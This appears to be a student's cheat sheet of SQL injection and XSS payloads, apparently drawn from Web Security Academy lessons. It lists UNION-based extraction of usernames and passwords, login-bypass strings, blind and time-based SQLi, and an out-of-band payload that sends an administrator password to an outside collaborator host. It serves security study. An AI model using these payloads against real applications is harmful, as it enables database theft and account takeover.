SQLI: allows an attacker to interfere with the queries that an application makes to its database (Retrieving, Subverting, UNION, Examine DB, Blind SQLi)

1 Retrieving: https://insecure-website.com/products?category=Gifts SELECT * FROM products WHERE category = 'Gifts' AND released = 1 https://insecure-website.com/products?category=Gifts'+OR+1=1-- SELECT * FROM products WHERE category = 'Gifts' OR 1=1--' AND released = 1

2 Subverting: SELECT * FROM users WHERE username = 'wiener' AND password = 'bluecheese'| SELECT * FROM users WHERE username = 'administrator'--' AND password = ''

3 From other DB (UNION) **Determining the number of columns** ' ORDER BY 1-- ' UNION SELECT NULL—

Finding columns with a useful data type ' UNION SELECT 'a',NULL,NULL,NULL-- **UNION attack to retrieve interesting data** ' UNION SELECT username, password FROM users--

Retrieving multiple values ' UNION SELECT username || '~' || password FROM users—

4)Examine DB: SELECT * FROM v$version or SELECT * FROM information_schema.tables

5)Blind SQLi: Blind SQL injection arises when an application is vulnerable to SQL injection, but its HTTP responses do not contain the results

triggering conditional responses (Welcome Back)

```
…xyz' AND '1'='1 | xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) > 'm
…xyz' AND '1'='2 | xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) = 's
```

by triggering SQL errors

```
xyz' AND (SELECT CASE WHEN (1=2) THEN 1/0 ELSE 'a' END)='a xyz' AND (SELECT CASE WHEN (1=1) THEN 1/0 ELSE 'a' END)='a
xyz' AND (SELECT CASE WHEN (Uname = 'Admini' AND SUBSTRING(Password, 1, 1) > 'm') THEN 1/0 ELSE 'a' END FROM Users)='a
```

triggering time delays

```
'; IF (1=2) WAITFOR DELAY '0:0:10'--
'; IF (1=1) WAITFOR DELAY '0:0:10'--
```

using out-of-band

```
'; exec master..xp_dirtree '//0efdymgw1o5w9inae8mg4dfrgim9ay.burpcollaborator.net/a'--
; declare @p varchar(1024);set @p=(SELECT password FROM users WHERE username='Administrator');exec('master..xp_dirtree
"//'+@p+'.cwcsgt05ikji0n1f2qlzn5118sek29.burpcollaborator.net/a"')--
```

XSS web security vulnerability that allows an attacker to compromise the interactions that users have with a vulnerable application. (SOP cancel)

1) **Reflected**: Application receives data in an HTTP request and includes that data within the immediate response in an unsafe way.
https://insecure-website.com/search?term=<script>/*+Bad+stuff+here...+*/</script>

2) **Stored**: application receives data from an untrusted source and includes that data within its later HTTP responses in an unsafe way.

```
<script>/* Bad stuff here... */</script>
```

reflected and stored XSS is that a stored XSS vulnerability enables attacks that are self-contained within the application itself.

3) **DOM Based**: JavaScript takes data from an attacker-controllable source, such as the URL, and passes it to a sink that supports dynamic code execution

Testing HTML sinks

Testing JavaScript execution sinks

Testing for DOM XSS using DOM Invader

```
document.write()document.writeln()document.domain element.innerHTML element.outerHTML/ onevent
```

Contexts: XSS between HTML tags , XSS in HTML tag, in JS,